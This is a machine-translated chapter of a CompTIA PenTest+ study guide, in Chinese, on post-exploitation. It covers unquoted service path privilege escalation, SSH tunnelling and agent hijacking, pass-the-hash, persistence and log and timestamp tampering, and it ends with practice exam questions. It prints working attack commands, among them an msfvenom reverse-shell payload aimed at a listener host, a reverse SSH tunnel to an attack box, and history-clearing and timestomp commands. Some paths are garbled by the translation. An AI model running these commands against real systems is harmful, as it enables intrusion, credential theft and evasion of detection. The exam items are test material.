翻译“CompTIA PenTest Certification All-in-One Exam Guide Exam2019.pdf” 第十章
未引用的服务路径
Windows注册表负责记录在Windows操作系统上创建的服务的执行路径。管理员可以使用烘焙到Windows系统中的sc.exe命令实用程序创建新服务。图10-10提供了如何使用sc.exe命令创建指向易受攻击的服务名称“vulnerablesvc”的示例。“共享命令”文件夹中的exe可执行文件。
代码语言:javascript复制C:Windowssystem32> sc create "vulnerablesvc" binPath="C:Program Files(x86)Sared Servicesshared commandsvulnerable.exe" DisplayName="UnquotedServicePath" start=auto
[SC]CreateService SUCCESS
图10-10创建服务漏洞SVC
在本地操作系统上创建新服务时,将在注册表中创建一个唯一键。这些键位于以下Windows注册表位置:HKLMSYSTEMCurrentControlSetservices,如图10-11所示。
图10-11注册表中未引用的服务路径
权限较低的用户将无法修改服务;但是,用户仍然可以搜索服务。我们可以使用WMIC命令查找具有无引号可执行路径的服务。图10-12显示了显示名称为UnquotedServicePath的vulnerablesvc,它可能是权限提升攻击的目标。
图10-12使用wmic命令搜索未引用的服务路径
代码语言:javascript复制C:WINDOWSsystem32>wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr /i /v """
Elan Service ETDService C:Program FilesElantechETDService.exe Auto
gitblit gitblit C:gitblit-1.8.0amd64gitblit.exe //RS//gitblit Auto
MONyog MONyog C:Program Files (x86)MONyogbinMONyog.exe -s Auto
SonarQube SonarQube C:sonarqube-8.1.0.31237binwindows-x86-64wrapper.exe -s C:sonarqube-8.1.0.31237confwrapper.conf Auto
UnquotedServicePath vulnerablesvc C:Program Files(x86)Sared Servicesshared commandsvulnerable.exe Auto
服务将作为系统账户运行,除非将其配置为使用不同的服务账户或username/password组合。当Windows尝试运行该服务时,它将使用以下路径运行它可以找到的第一个可执行文件。
代码语言:javascript复制1. C:Program.exe
2. C:Program Files.exe
3. C:Program Files (x86)Shared.exe
4. C:Program Files (x86)Shared Servicesshared.exe
5. C:Program Files (x86) Shared Servicesshared commandsvulnerable.exe
如果我们在最终执行路径之前拥有对这些文件夹的写入权限,我们可以在服务路径中添加我们自己的恶意可执行文件,以强制加载我们的程序,而不是加载原始的程序可执行文件。该漏洞是Windows操作系统中的“CreateProcess”功能导致的,如https://docs.microsoft.com网站现在,我们可以使用icacls命令查看是否有对共享服务文件夹的写入权限。图10-13显示我们对该文件夹拥有完全权限。
图10-13检查文件夹权限
提示另一个可用于检查特定用户或组对文件、目录、注册表项、全局对象和Windows服务的权限的工具是Windows sysinternals命令accesschk.exe。您可以从https://docs.microsoft.com/en-us/sysinternals网站我们只需要生成一个要使用的负载,以便获得具有系统权限的回调。您可以使用msfvenom生成名为shared的meterpreter_reverse_tcp负载。,然后将可执行文件放入C:Program Files(x86)Shared Services文件夹中,如图10-14所示,因为用户具有写访问权限。
图10-14存储在共享服务文件夹中的有效负载
代码语言:javascript复制# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.234 LPORT=4448 -f exe shared.exe
一旦有效负载被复制过来,您需要配置一个多处理器,以便在服务启动/重新启动后可以捕获系统级shell,如图10-15所示。
图10-15启动多处理器
现在一切似乎都准备就绪了,您只需要重新启动或启动此服务(如果尚未启动)。但是,如果低权限账户或没有启动易受攻击服务的权限的账户尝试启动服务,则会出现拒绝访问错误,如图10-16所示。
图10-16在任务管理器中尝试启动服务失败
另一种方法是重新启动系统,等到下次重新启动,或者由管理员进行社会工程来重新启动服务,除非你是一个非常有说服力和可信的人,否则这是不可能的。一旦服务启动,它现在将读取服务路径4选项中的“shared.exe”可执行文件,并执行该文件,而不是易受攻击的file.exe应用程序,这是预期的程序。图10-17显示了呼叫总部并给我一个具有系统级权限的shell的服务。
图10-17获取系统权限
最终,目标上的服务将超时。在此之前(大约不到20秒),您需要迁移到另一个进程,如图10-18所示。在本章前面,我提到了wininit.exe进程是要迁移到的可选服务。一旦迁移,shell将保持稳定,但一旦服务出错,原始进程将消失。如果在MeterPeter shell中运行post/windows/manage/migrate模块,而没有指定要迁移到的进程,则该模块将自动生成一个新进程并迁移到该进程。简言之,未引用的服务路径是可在操作系统上休眠的漏洞,等待被利用。当管理员将进程和应用程序与权限较低的用户账户混合在一起时,可能会导致像我们刚才讨论的那样的情况,并导致灾难。
图10-18使用Metasploit迁移流程
为了缓解这些类型的漏洞,MITRE ATT&CK页面建议组织消除程序配置文件、脚本、path环境变量、服务和快捷方式中的路径拦截漏洞,方法是在路径变量周围加引号(如适用)。管理员还必须了解Windows用于执行或加载二进制文件的搜索顺序,并在卸载软件应用程序后清理旧的注册表项,以消除注册表项与合法二进制文件不关联的问题。在某些情况下,可能会滥用作为系统或提升权限运行的可写服务。这是由于管理员为服务设置的权限不正确,或者用户账户在执行二进制文件的目录中具有提升的权限。可以修改注册表中的本地服务配置信息,以更改二进制可执行路径,并指向恶意程序。您可以从MITRE ATT&CK网站上了解有关service registry权限弱点(ID:T1058)的更多信息。
Lateral Movement(横向运动)
在目标主机上获得远程shell后,您可以利用横向移动技术通过网络访问和控制远程系统,有时无需在目标环境中安装其他工具或服务。通过使用远程访问工具,如OpenSSH、RDP、FTP或虚拟网络计算(VNC),可以实现从主机到主机的数据透视。使用合法工具、有效凭据和操作系统功能有助于减少网络上留下的数字足迹,并识别网络上主机之间的信任关系。在本节中,我们将讨论MITRE ATT&CK矩阵中确定的一些常见横向移动技术,这些技术涵盖了CompTIA 渗透式测试 考试所需的开发后学习目标:
- SSH劫持(ID:T1184)
- 第三方软件(ID:T1072)
- 远程服务(ID:T1021)
- 远程文件拷贝(ID:T1105)
- 远程桌面协议(ID:T1076)
- Windows远程管理(ID:T1028)
Linux中的横向移动
在本节中,我们将讨论远程登录实用程序,如SSH、VNC和其他遗留服务,这些服务可用于帮助通过网络远程连接到目标。我将讨论如何利用Metasploit帮助您在渗透式测试期间高效工作。
攻击VNC服务器
VNC用于显示用户桌面环境,类似于Windows或Xrdp中的远程桌面协议(RDP),后者是通常安装在Linux环境中的RDP的开源版本。用户将使用VNC客户端应用程序(例如TigerVNC或RealVNC)连接到服务器(默认端口为5900/tcp)。当用户建立到VNC服务器的连接时,用户将被询问VNC密码。此密码用于访问他们的桌面环境,在一个良好的安全从业人员世界中,应该锁定屏幕,甚至不登录。Metasploit有几个模块可用于帮助测试VNC服务器的已知漏洞,包括身份验证不需要的会话。auxiliary/scanner/vnc/vnc_none_auth模块将帮助调查发现运行vnc的主机,以针对此弱点进行测试。VNC密码存储在Mac和Linux操作系统的用户主目录(即$home/.VNC/passwd)中(在Windows中,密码存储在.ini文件或注册表中),并且是DES格式。如果您能够访问用户的VNC密码,那么使用适当的工具(CWE-327)解密就很简单了(https://github.com/trinitronx/vncpasswd.py)如图10-19所示。
图10-19解密VNC密码
注意:使用DES加密的VNC密码将被截断为八个字符的长度。这不符合良好密码卫生的最佳做法。在您自己的环境中配置服务或为客户编写缓解措施时,请记住这一点。
SSH劫持
SSH(https://www.ssh.com)是一种用于与其他主机建立远程连接的协议,主要用于远程管理目的。如今,大多数Linux操作系统都提供了OpenSSH客户端和服务器软件(SSHv2)的预打包版本。当SSH客户端连接到SSH服务器时,它将协商最强的加密和压缩算法,以及是否将使用密码或加密密钥来验证用户身份。支持的密码在ssh_config(客户端)和sshd_config(服务器)文件中指定。如果该选项被注释掉,OpenSSH将使用默认设置,首先使用受支持的最强密码,然后使用尽可能低的受支持密码:
代码语言:javascript复制# grep -i ciphers /etc/ssh/ssh_config ciphers aes128-ctr, aes192-ctr, aes256-ctr, aes128-cbc,3des-cbc
提示:由于OpenSSH依赖OpenSSL提供加密库,因此可以使用OpenSSL命令搜索支持的密码:
代码语言:javascript复制# openssl ciphers
如果您在攻击后活动中成功获取了一些有效的SSH用户名和密码,那么您可以利用这些访问来深入挖掘网络。SSH可以为渗透式测试提供许多用途(例如,对远程目标执行命令),其中有几个用例可以帮助隐藏您的活动,包括:
- 远程转发
- 本地转发
- 动态应用程序级端口转发
- 公钥认证
- X-server转发
SSH隧道用于将应用程序端口从SSH客户端转发到SSH服务器。这可以提供一种安全的方式来传输文件和连接到内部网络服务,监听不可路由的网络并保护远程文件共享连接,如NFS。一些目标位于防火墙后面,这些防火墙使用网络地址转换(NAT)从面向公众的网络(即Internet)隐藏专用网络(不可路由网络)。SSH远程转发(即,-R SSH命令标志)是一种可用于建立从防火墙主机到防火墙外主机的反向隧道的技术,如图10-20所示。例如,假设位于NAT防火墙后面的目标IPv4地址是192.168.1.50(SSH客户端),而攻击箱(SSH服务器)位于Internet上,具有公共IPv4地址。
图10-20 SSH反向隧道
您可以使用ssh命令,使用以下命令从客户端远程连接到源(我们将使用一个示例完全限定域名[FQDN]):
示例:
代码语言:javascript复制ssh -f -N -T -R 2222:localhost:22 attackbox.example.com
选项:
- -f后台验证后的SSH进程
- -N告诉SSH您要连接,但不要运行任何命令
- -T禁用伪TTY分配,因为您不想创建远程shell
这将告诉防火墙客户端使用attackbox.example.com建立远程出口点。从attackbox.example.com到端口2222/tcp的任何连接都将使用SSH反向隧道实际到达防火墙客户端。要通过远程出口点进行SSH,只需指向攻击中的SSH命令。实例com服务器在端口2222/tcp上指向本地主机。
示例:
代码语言:javascript复制ssh localhost -p 2222
选项:
- -p用于隧道回内部SSH客户端的远程出口端口
提示:如果要启用应用程序从服务器到SSH客户端的X11转发,可以使用-X选项。例如,如果您想使用服务器的Firefox应用程序连接以在它所知道的本地网络上导航基于Web的主机,那么可以在SSH连接期间启用X11转发。
本地转发(即,-L SSH命令标志)允许将来自SSH客户端的TCP端口转发到SSH服务器。这有助于保护未加密的协议或访问仅在本地网络中可用的服务,如NFS、HTTP、MySQL Oracle等。如果您利用防火墙后面的主机进行攻击,并希望访问仅在允许从内部IPv4地址进行连接,您可以使用从受损主机(SSH客户端)到attackbox(SSH服务器)的本地转发隧道。通过身份验证后,您可以浏览到http://www.internal.Web.org:8080从袭击中。实例org主机,您的连接将通过SSH转发隧道(即端口8080/tcp)连接到内部Web服务器。
示例:
代码语言:javascript复制ssh -L 8080:www.internal.Web.org:80 attackbox.example.org
动态端口转发(-D ssh命令标志)是指从攻击主机(ssh客户端)连接到目标(ssh服务器)并将主机转换为SOCKS代理服务器:
代码语言:javascript复制ssh -D 9050 www.external.host.org
这将允许您配置Web浏览器,以便在浏览网页时通过SOCKS(即SOCKS4或SOCKS5)代理连接进行连接,并允许您使用SOCKS代理从网络外部对内部主机执行端口扫描。Proxychains是一个随Kali Linux预装的命令行实用程序,它允许您强制应用程序(例如nmap)通过SOCKS连接发送其请求,如图10-21所示。
图10-21通过代理链的Nmap端口扫描
提示:如果您试图隐藏攻击方法,SOCKS5和SOCKS4代理之间的区别之一是SOCKS5可以支持TCP和UDP应用程序,并通过SOCKS隧道提供DNS解析,而SOCKS4仍将使用本地主机的DNS配置。
公钥身份验证是基于密码的登录的替代方法,可用于验证建立连接的SSH客户端的身份以及单个用户账户。它提供了更强的加密,并且可以消除用户每次登录时输入密码的需要,通过使用SSH代理跨SSH服务器使用SSO。ssh密钥生成器命令用于派生可用于身份验证的私钥和公钥对。要生成密钥大小为2048位的RSA私钥/公钥对,可以使用命令语法:ssh keygen-t RSA-b 2048。出现提示时,您可以选择使用密码加密密钥或生成未加密的私钥。public(id_rsa.pub)和private(id_rsa)密钥对将保存到用户的HOME/。ssh目录。要查看SSH密钥是否加密,可以使用openssl命令语法:openssl rsa-in id_rsa。如果密钥未加密,则不会提示您输入密码,并且密钥的明文值将打印到屏幕上。要在OpenSSH中使用SSH密钥登录,请复制id_rsa的内容。发布到HOME//.ssh/authorized_keys。公钥条目用于验证登录过程中<用户>账户提供的私钥。
提示:在处理SSH密钥登录时,文件和文件夹自主访问控制非常重要。SSH客户端将验证用于身份验证的私钥文件是否仅限于文件所有者的read/write权限。SSH服务器将验证用户的$HOME目录中的SSH文件夹是否仅限于该目录所有者的read/write/execute。在为基于密钥的登录配置SSH并用于良好的安全实践时,必须了解以下文件和文件夹权限:
Metasploit有几个模块来帮助SSH劫持和利用SSH进行攻击。auxiliary/scanner/ssh/ssh_login模块可用于针对远程ssh服务器验证凭据。Metasploit中的services命令将列出它所知道的端口、协议和主机。R特性将告诉Metasploit使用服务表中的主机填充当前模块中的RHOSTS字段。
当您运行ssh_login模块时,它将尝试使用您配置模块要使用的用户名和ssh密码登录到远程主机。如图10-22所示,四台目标主机中的一台能够使用提供的用户名和密码组合登录。该模块将针对目标主机执行一个基本的shell负载,该负载可以使用我们在本章前面讨论的ssh_to_meterpreter post-execution模块转换为meterpreter负载。
图10-22 Metasploit SSH登录扫描程序
提示:Metasploit中的shell升级是将现有shell转换为meterpeter的机会。除非另有规定,否则自动检测外壳平台,并将目标的最佳版本的MeterMeter用作有效载荷选项。支持的平台有Linux、OS X、Unix、Solaris、BSD和Windows。要针对会话使用的Metasploit postExploration负载称为“post/multi/manage/shell_to_meterpreter.”
使用目标中新发现的shell,我们可以使用名为multi/gather/ss_creds的Metasploit postexecution模块尝试从目标主机收集SSH凭据,例如我们的用户账户可以访问的目标文件系统中的SSH私钥,如受损用户的$HOME/.ssh目录。如图10-23所示,要运行模块,只需设置SESSION标识符并执行run。
图10-23收集SSH凭据
如您所见,“用户”账户在其$HOME目录中有一个可访问的SSH私钥。下一步是查看私钥是否未加密。如果是,我们就不需要找出用于解密的密码。我们看到正在使用authorized_keys文件,因此我们可以将公钥与authorized key文件进行比较,以查看是否匹配,如果匹配,我们可以将泄露的私钥与公钥进行比较,以查看这是否确实是用于验证远程主机用户身份的密钥。要验证公钥和私钥对是否匹配,可以使用以下命令
命令语法:ssh-keygen -y -f然后读取公钥的内容(例如id_rsa.pub)进行验证。最后一步是查看我们可以从已知的u hosts文件中识别哪些主机。这将列出用户连接到的其他SSH服务器的SSH主机密钥,这可能会提供潜在目标的数字足迹。如果凭据对这些主机起作用,您可以简单地在受损用户的数字足迹中行走,以减少被检测到的可能性,同时模拟网络上的正常行为。
注意:Metasploit模块将在Loot表中记录所有发现的工件,并将从目标主机恢复的文件保存到本地文件系统上相应的Metasploit用户文件夹中。您可以使用loot命令访问Metasploit中发现的这些工件。
Metasploit postexecution模块scanner/ssh/ssh_login_pubkey用于针对远程ssh服务器验证ssh密钥。使用泄露的用户密钥,我们可以尝试登录到其他三台无法使用密码进行身份验证的主机。这可以告诉我们用户是否有不同的本地密码,但使用相同的SSH密钥进行身份验证。
运行模块后,您可以在图10-24中看到,用户账户在四台主机中的两台上使用了泄露的公钥进行身份验证。Metasploit creds命令从凭证表打印有效凭证,这些凭证已通过其他Metasploit模块验证或从执行后模块收集。因此,凭证收集过程似乎取得了成效,为我们带来了另一个有用的外壳。
图10-24显示了Metasploit中的SSH凭据
另一种劫持用户SSH身份验证的方法是利用SSH代理转发的好处。可以在HOME/中的用户SSH配置文件中启用SSH代理转发。HOME/.ssh/config或在/etc/ssh/sshd_config文件中为服务器上的所有用户配置。解密密钥后,SSH代理将在内存中加载SSH密钥。当用户连接到另一个SSH服务器时,SSH代理将密钥转发给服务器进行验证。用户登录后,SSH代理会将密钥存储在内存中。在/tmp中创建一个临时文件指针,指向用户的SSH代理(即agent.)。此位置存储在用户的SSH_AUTH_SOCK环境变量中。当用户想要连接到另一个SSH服务器时,SSH代理被转发到下一个跃点进行身份验证,依此类推。在渗透式测试期间,当您在用户连接的目标上拥有root权限时,可以利用这一便利级别,例如启用SSH隧道到防火墙后面的内部主机和服务的跳转点。
注意:破坏SSH代理有助于缓解因尝试破解加密用户密钥而产生的问题,因为为配置为使用SSH代理的主机建立SSH远程连接不需要密码。在图10-25中,我们显示了一个具有root访问权限的主机。当您列出/tmp文件系统的内容时,您会看到可以从服务器访问三个代理。“agent.”的尾部标识与用户会话关联的SSH进程id(PID)。您可以使用以下命令语法:ps-ef | grep-i来标识与特定SSH代理关联的用户账户。知道要模拟的用户账户和代理后,将root的SSHu AUTHu SOCK环境变量设置为指向用户的SSH代理,然后尝试登录到用户登录的源IP地址,或读取已知的u hosts文件的内容,以查看用户可能使用密钥登录的其他位置。图10-25显示,我们成功登录到主机,现在我们已经破坏了最初使用Metasploit SSH登录扫描程序测试的四个目标中的三个。
图10-25劫持SSH代理
利用遗留服务
就技术而言,legacy一词意味着一块硬件或软件已经被更新的东西所取代。随着技术的不断进步和我们日常工作的自动化,组织对技术增强的适应速度并不总是那么快,因为在底层操作系统升级之前,可能需要某些服务才能继续运行。这包括产品开发环境,其中可能需要运行某些过时的软件产品,但没有其他替代品可以完成软件的功能,供应商/开发人员放弃了产品,不再提供更新,或者需要该服务来促进与网络上其他遗留客户端和服务的通信。例如,Microsoft和Red Hat等操作系统供应商向其客户提供了寿命终止(EOL)免责声明,因此有足够的时间规划和准备过渡到下一代软件产品。经过12年的强劲运行,微软于2014年8月终止了对Windows XP的支持。如果您想继续接收更新,则必须支付大量资金来建立软件支持合同。在某些情况下,例如对于某些医院,此选项可能比升级到Windows 7、升级基础设施、软件应用程序以及为支持人员提供培训更便宜。无论技术进步有多快,总会有一些组织落后几步。
这就引出了其中几种类型的服务,当在Unix环境中找到这些服务时,它们最有利于横向移动和转向其他主机,因为它们最多依赖于原始的安全技术(CAPEC-220)。其中一些服务包括Telnet(23/tcp)和RSH/Rlogin/REXEC(513/tcp或514/tcp),也称为“R-services”(每个服务都被SSH提供的功能所取代)。这些服务不会加密远程连接,并且会在使用时公开登录凭据和潜在的敏感数据。R-services使用//etc/hosts.equiv文件(由系统管理员控制)或本地HOME/.rhosts文件(由本地用户账户控制)。这个rhosts文件必须位于用户账户的顶级目录中,该文件的示例可能类似于以下内容:
组名前加( )表示网络组中标识的主机受信任。A负号(−) 签名表示该组中的主机都不受信任。如果存在用户/主机组合,如host2 user2,则从host2登录的user2不必指定密码即可作为user3账户登录。安全问题是这些设置由用户帐户控制,而不是由系统管理员控制。如果您能够以root权限装载NFS共享,则可以修改用户的.rhost文件。当使用用户和主机组合从受信任的主机发起时,并登录您想要的任何用户(rlogin -l)。要了解有关rlogin安全问题的更多信息,请访问https://www.ssh.com/ssh/rlogin.
Windows的横向移动
在本节中,我们将讨论远程登录实用程序,如PsExeC.WinRM、RDP、WMI等,这些实用程序可用于帮助通过网络远程连接到Windows目标。我将讨论如何利用Metasploit来帮助您在渗透式测试期间高效工作,并能够将网络流量路由到可能无法从组织内部网络(如开发网络)访问的内部网络。
RPC/DCOM
MITRE ATT&CK矩阵将Microsoft Windows分布式组件对象模型(DCOM)确定为一种有效的横向移动技术,可用于使用远程过程调用(RPC)技术(ID:T1175)将组件对象模型(COM)的功能从本地计算机扩展到其他计算机。Windows API利用COM组件在软件对象之间进行交互。DCOM作为一种透明的中间件功能运行,允许特权用户账户(即管理员)访问COM对象(如Windows Office应用程序)的属性和方法。本质上,通过DCOM启动的应用程序可以通过网络远程访问,通常是通过更高的TCP端口范围。Windows注册表强制执行访问控制列表,以限制与本地和远程服务器COM对象交互的权限。与从远程用户接管SSH代理类似,Windows中的特权用户可以与用户启动的应用程序对象(如Microsoft Excel)中的方法和属性交互,该应用程序对象通过宏与远程对象通信。默认情况下,启用Windows防火墙将阻止DCOM实例化(即阻止对这些更高端口的访问),而监视和检测尝试加载DLL和其他通常与应用程序无关的模块的COM对象是利用Microsoft Office DCOM的横向移动来抵御和检测攻击者的方法。
注意:Empire是纯PowerShell后期开发代理(https://powershellempire.com)这有助于横向运动活动和保持持久性。在测试基于Windows的环境时,建议使用此工具。
传递哈希(PtH)–通过使用与Windows本地/域账户关联的NTLM哈希值通过网络向另一个远程主机进行身份验证,可以实现类似于NTLM的攻击。MITRE ATT&CK矩阵将此技术识别为一种绕过需要明文密码(ID:T1075)的标准身份验证步骤的方法。这有助于在渗透式测试约定期间节省时间和精力,因为您不需要破解哈希,只需绕过它即可。当使用特权用户账户时,PsExec SysInternals命令可以帮助简化这种类型的连接。所有相同的理论和限制都适用于PsExec,除非您将使用哈希值而不是密码。图10-26显示了使用psexec Metasploit模块的PtH示例。
图10-26传递哈希
注意:Mimikatz(在调试模式下)是执行以下命令时可以与PtH技术一起使用的另一个工具:sekurlsa::pth /user:/domain:/ntlm:。Microsoft已交付多个更新,以减轻PtH的功能。带有KB2871997的Windows 7及更高版本需要RID 500管理员哈希的有效域用户凭据。您可以使用以下链接从Microsoft网站上阅读有关“缓解传递哈希(PtH)攻击和其他凭据盗窃”的更多信息:https://www.microsoft.com/en-us/download/details.aspx?id=36036.
Windows远程访问
连接到远程Windows主机的一种非常流行的方法是远程桌面协议(RDP)。此服务侦听端口3389/tcp,并为远程用户提供图形用户界面(GUI),就像他们登录到控制台一样。Windows域上的用户需要在远程桌面用户组中才能使用此服务。否则,它仅限于具有管理权限的用户。RDP提供SSL/TLS加密以保护client/server连接之间的机密性。然而,由于RDP服务器在mstlsapi.dll库中存储了硬编码的RSA私钥,该服务容易出现中间人(MiTM)弱点。有权访问该文件的本地用户可以检索密钥并将其用于攻击(Nessus插件ID:18405)。RDP可以配置为通过强制网络级身份验证(NLA)来缓解此漏洞。此设置强制客户端在服务器为该用户创建会话之前提供用户凭据以进行身份验证。NLA依赖于凭证安全支持提供商(CredSSP)协议;因此,如果RDP客户端不支持NLA或不提供必要的凭据,则将不允许其登录到远程主机。
提示与RDP类似,Apple Remote Desktop是在网络上管理Mac电脑的有效方法。Apple Remote Desktop应用程序在3283/tcp上侦听。有关该服务的更多信息,请访问https://www.apple.com/remotedesktop.
Windows远程管理(WinRM)协议是PowerShell的一项功能,它提供本机Windows远程命令执行。您可以通过以管理员权限运行的PowerShell控制台启用PowerShell远程处理,并将所有远程主机设置为受信任。为远程管理更新WinRM后,将在HTTP端口5985/tcp上启动侦听器。端口扫描服务时,nmap将对服务进行指纹识别并打印横幅信息。
提示:在生产环境中,您可能不希望允许所有远程主机都受信任。您将只希望将此锁定到网络上的受信任主机。
对于PowerShell v2或更高版本,您可以使用Invoke Command cmdlet对远程系统执行命令,或使用Enter-PsSession获取另一台运行WinRM的远程主机的交互式PowerShell控制台。在渗透式测试参与期间,您可以利用网络上主机之间已建立的信任关系,同时使用本机Windows操作系统的功能和方法,这些功能和方法不太可能在组织安全事件监视系统中引发警报。
保持持久性
在渗透式测试期间,重要的是在参与仍然活跃的情况下,在组织网络中保持立足点或后门。在某些情况下,管理员可能会在安装某些修补程序后重新启动目标,或者主机可能会意外崩溃。如果您尚未在目标上安装持久性机制,并且无法重新创建攻击路径以返回到上次中断的位置,则可能刚刚失去了对目标的永久访问权限。MITRE ATT&CK矩阵将持久性标识为系统的任何操作或配置更改,从而使攻击者在主机上持久存在。MITRE ATT&CK矩阵和CAPEC确定了各种持久性方法,如表10-7所示。
表10-7十六进制到ASCII的转换
掩盖你的行踪
MITRE ATT&CK矩阵将覆盖您的轨迹定义为防御性规避,它包括攻击者可能用来帮助通过网络监控避免检测的方法和技术。以下是MITRE ATT&CK矩阵中与渗透测试相关的防御规避技术:
- 清除命令历史记录(ID:T1146)
- 分时(ID:T1099)
- 文件删除(ID:T1107)
清除命令历史记录
Linux和Mac操作系统都跟踪用户在终端中键入的命令。BASH shell将在$HOME/.bash_history文件中记录击键。在渗透式测试期间,一旦您获得了对Unix/Linux/Mac操作系统的访问权,最好的做法是取消历史文件的设置,以防止用户/管理员知道您正在执行的命令,并且不要将脏命令/恶意命令与用户的历史记录混在一起。取消设置历史文件非常简单,如下所示:
- unset HISTFILE临时历史记录不会写入磁盘
- export HISTFILE=0临时历史记录不会写入磁盘
- history -c清除临时历史记录文件
- set o历史记录可防止命令记录到临时历史记录
管理员可以通过将变量设置为只读来帮助保存历史文件的内容以用于取证目的,从而对抗防御规避攻击。
时间分割
用于修改文件时间戳(修改、访问、创建和更改时间)的技术称为时间踩踏。攻击者可以对修改过的文件/目录执行此技术。meterpreter外壳中的time stomp功能可以很好地限制文件系统上读写数据的数字占用。要查看选项列表,可以使用以下语法:
代码语言:javascript复制meterpreter>timestomp?
选项:
- -v显示文件的UTC MACE值
- -m设置文件的“上次写入”时间
- -a设置文件的“上次访问”时间
- -c设置文件的“创建”时间
您可以查看日期时间戳在前后的外观,然后将其更改回之前的外观。假设您想要更改用户登录脚本的内容,甚至更改指向管理员主目录中名为“script.ps1”的PowerShell文件的计划任务,并向该文件添加一些任意代码以帮助持久化。修改文件后,可以使用time stomp将文件更改回原始值。这样,在查看日期时间戳时,您的修改不会引发任何危险信号。
假设您在通过客户的Web服务器成功利用MS SQL注入漏洞后,在Windows数据库服务器上。您希望从www和db日志文件中删除您的恶意操作,并将它们拖到攻击之前的一段时间。
删除日志中的恶意条目后,可以使用PowerShell更改每个日志文件的文件属性LastWriteTime、LastAccessTime和CreationTime。为此,可以使用Get-Item cmdlet标识要修改的项(文件),定义要将文件设置为的日期(格式为MM/DD/YYYY HH:MM am/pm),并将新的时间戳应用于每个文件属性。这有助于隐藏您的输入,并允许您继续实现测试目标,而不会引起太多关注。
警告:如果您修改客户使用完整性检查软件(如Tripwire)监控的文件内容,更改仍将被识别,并可能触发警报。完整性监视软件比较文件上次检查时的加密哈希。这些工具可以设置为在计划任务的不同时间运行。更改上次写入/访问/创建时间与创建目标文件的加密哈希之间存在差异。
文件删除
在系统上丢弃或创建的恶意软件、工具或其他非本机文件可能会增加攻击者的数字足迹。当从框架内开发和执行代码时,Metasploit是避免这一障碍的好方法,因为有自动机制来清理工具和驻留在内存中。攻击者还可以清除Linux/Unix/Mac操作系统上的/var/log/*中的内容,或者清除Microsoft系统上的事件查看器数据库。为了减轻风险,组织可以利用日志服务器(即SYSLOG)向中央主机发送与安全相关的消息和信息。如果日志事件存储在另一个系统或其无权访问的网络部分,这将有助于攻击者在掩盖其踪迹时更加困难。
章节回顾
不同类型的漏洞可以帮助渗透式测试利用本地主机漏洞,包括DoS、代码执行、获取信息和获取权限。在本章中,我们介绍了许多有关开发后技术的知识。获得态势感知在开发后的过程中起着重要作用。此活动可以帮助渗透式测试确定攻击策略的优先级,并在评估期间更有效地工作。在某些情况下,可能需要从受损主机收集和提取信息,以证明影响程度,或利用目标数据进行进一步利用,如密码文件、网络架构图等。Linux和Windows中的权限提升遵循不同的路径,因为操作系统和内核类型有很大的不同。渗透式测试可以利用内核级漏洞、SUID/SGID程序、粘性位和不安全的sudo配置来获得Linux操作系统上的根级权限。在Windows中,渗透式测试可以利用内核级漏洞、凭据转储、无人值守安装文件和DLL劫持来升级系统权限。在某些情况下,渗透式测试可能会遇到可利用的服务或内存攻击,以帮助提升权限,例如缓冲区溢出。
由于内核保护(如ASLR)的缘故,基于堆和堆栈的缓冲区溢出可能很难利用,以帮助缓解这些类型的攻击。缓冲区溢出可允许执行任意代码,并可能导致DoS。在起草RoE时,应谨慎使用这些类型的攻击,并与客户协调。旋转和横向移动是利用有效凭据和合法服务利用网络内的信任关系在主机之间自由移动的方法。维护持久性对于确保在主机或服务重新启动或脱机一段时间后重新访问受损目标至关重要。覆盖你的轨迹可以让你在测试时保持隐形。本地主机攻击是渗透式测试的关键部分。MITRE ATT&CK矩阵为本地主机攻击提供了一个可跟踪矩阵,可帮助您对攻击类型进行分类,并引用恶意攻击者的真实威胁,以便您可以模拟敌对活动并相应地规划攻击。
问题
1、开发后的一个重要步骤是获得态势感知,以收集主机和内部网络的重要知识。MITRE ATT&CK框架中的以下哪项技术被确定为“发现”战术?(选择所有适用项。)
A. 枚举本地或共享文件系统上的文件和目录。
B. 搜索本地或域级别的组和权限设置。
C. 利用此漏洞后,Timestomp文件和目录。
D. 使用操作系统固有的协议(如SSH或FTP)传输文件。
2、在渗透式测试期间,您成功地破坏了用户对客户网络中Linux主机的用户级访问权限。用户的默认shell是BASH。您可以使用哪种命令语法暂停终端会话的命令录制?(选择所有适用项。)
A. unset HIST
B. unset HISTFILE
C. set o history
D. export HIST=0
3、您发现您刚刚泄露的用户账户“user1”可能被允许使用sudo在系统上执行特权命令。在终端窗口中暂停命令录制后,将执行sudo -l命令,并且不会提示输入密码。令您惊讶的是,该账户可以在操作系统上执行所有命令,但仍然不会提示您输入密码。/etc/sudoers文件中的哪个设置允许用户在没有密码的情况下执行命令?
A. %sudo ALL=(ALL:ALL) ALL
B. %sudo ALL=(ALL:ALL) NOPASSWD:ALL
C. user1 ALL=(ALL:ALL) ALL
D. user ALL=(ALL:ALL) NOPASSWD:ALL
4、Windows 2008 Server中引入了组策略首选项(GPP),允许域管理员创建域策略以自动化繁琐的任务,例如更改主机操作系统上的本地管理员账户密码。创建每个策略中嵌入了加密密码(cPassword),每个策略都存储在SYSVOL中,作为域成员的任何用户都可以访问SYSVOL。在渗透式测试期间,您使用域上的用户级权限成功装载SYSVOL卷。域服务器是Windows 2012服务器。哪个文件将包含cPassword条目?
A. Group.xml
B. Users.xml
C. Groups.xml
D. Policy.xml
5、使用GNU调试器(gdb)时,当到达汇编指令时,可以使用哪个命令暂停函数中的程序执行?
A. break
B. nexti
C. info registers
D. x $rsp
6、__________是唯一的,用于标识Windows服务的每个实例。在Windows中,Kerberos要求_______与至少一个服务登录账户(即运行该服务的账户)相关联。
A. Hostname(主机名)
B. Domain name(域名)
C. Unique identifier(唯一标识符)
D. Service principal name(服务主体名称)
7、在渗透式测试期间,您可以使用wmic命令来标识未引用的服务路径。您可以在C:Program Files(x86)datashared Filesvulnerable.exe和使用的accesschk.exe以发现您在“data”目录中具有写入权限。要在下次执行服务时升级权限,您需要设置一个将在服务路径中执行的可执行文件。您应该创建的可执行文件的正确名称是什么?
A. shared.exe
B. files.exe
C. Files.exe
D. Program.exe
8、在渗透式测试期间,您在用户的主目录中遇到一个SSH私钥(id_rsa),并怀疑该密钥可用于远程登录到其他Linux主机。但是,在尝试使用密钥之前,需要将密钥与authorize_keys文件的内容进行比较,以便确保它与文件中存储的一个公钥匹配。您将运行哪个命令从私钥生成公钥?
A. ssh-keygen -y -f id_rsa
B. ssh-keygen -t rsa -b 2048
